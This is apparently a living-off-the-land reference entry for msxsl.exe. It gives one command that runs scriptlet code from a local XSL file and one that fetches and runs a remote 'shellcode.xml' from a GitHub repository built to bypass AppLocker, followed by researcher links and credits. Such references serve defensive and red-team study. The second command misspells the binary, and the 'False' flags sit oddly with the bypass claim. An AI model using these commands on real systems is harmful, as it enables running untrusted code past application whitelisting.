Msxsl.exe.md

Msxsl.exe

msxsl.exe customers.xml script.xsl
Run COM Scriptlet code within the script.xsl file (local).

msxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

• Windows binary: False

• Bypasses Default AppLocker Rules: False

• Mitre:

• Links:

  • https://twitter.com/subTee/status/877616321747271680
  • https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
  • https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
  • https://twitter.com/bohops/status/955659561008017409

• File path:
  *

• Acknowledgement:

  • Name: Casey Smith
    • Twitter: @Subtee
    • Blog: https://subt0x11.blogspot.com/
  • Name: 3gstudent
    • Twitter: @3gstudent
    • Blog: https://3gstudent.github.io/

OS: